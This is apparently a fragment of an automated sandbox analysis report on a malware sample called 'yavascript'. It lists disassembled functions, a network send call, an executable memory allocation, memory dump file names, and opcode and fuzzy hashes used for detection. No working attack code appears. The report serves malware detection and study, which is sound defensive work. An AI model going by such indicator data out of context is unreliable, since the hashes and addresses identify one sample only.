                                                    • Opcode ID: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                    • Instruction ID: fbcf0fb35859d26dd0bec2a34c6193cd90ff2e5205aa97c5c9b80f8ed11fde70
                                                    • Opcode Fuzzy Hash: 7e529be0125f3c130d8a14787ec60c5f2794d52df3155d2474e8bb3275198ed8
                                                    • Instruction Fuzzy Hash: 35B09279118202FFCA051B60DC0887ABEBAABCC381F108D2DB586501B0CA37C451AB26
                                                    Function 0042610E Relevance: 1.5, APIs: 1, Instructions: 7networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 0000000F.00000002.4541869056.0000000000473000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 0000000F.00000002.4541869056.0000000000476000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_400000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: send
                                                    • String ID:
                                                    • API String ID: 2809346765-0
                                                    • Opcode ID: 95a0fd16484bf767f6aff194c57c23075fd16a0a1a5a2095ebc589c6d407ffe4
                                                    • Instruction ID: f30177ef1ac25d972003a71432bbdafa3536f6886768dd9ca1b11e7f0a6bf502
                                                    • Opcode Fuzzy Hash: 95a0fd16484bf767f6aff194c57c23075fd16a0a1a5a2095ebc589c6d407ffe4
                                                    • Instruction Fuzzy Hash: 4FB09279118302BFCA051B60DC0887A7EBAABC9381B108C2CB146512B0CA37C490EB36
                                                    Function 00AB944D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00AB949E
                                                    Memory Dump Source
                                                    • Source File: 0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00AB8000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_15_2_ab8000_yavascript.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AllocVirtual
                                                    • String ID:
                                                    • API String ID: 4275171209-0
                                                    • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                    • Instruction ID: 477f676a61987cc4dd3ae28e3a6bcec2089501b9780664534caa277db88701e1
                                                    • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                    • Instruction Fuzzy Hash: 56110F79A00208EFDB01DF98CA85E99BBF5AF08751F158094FA489B362D771EE50DF90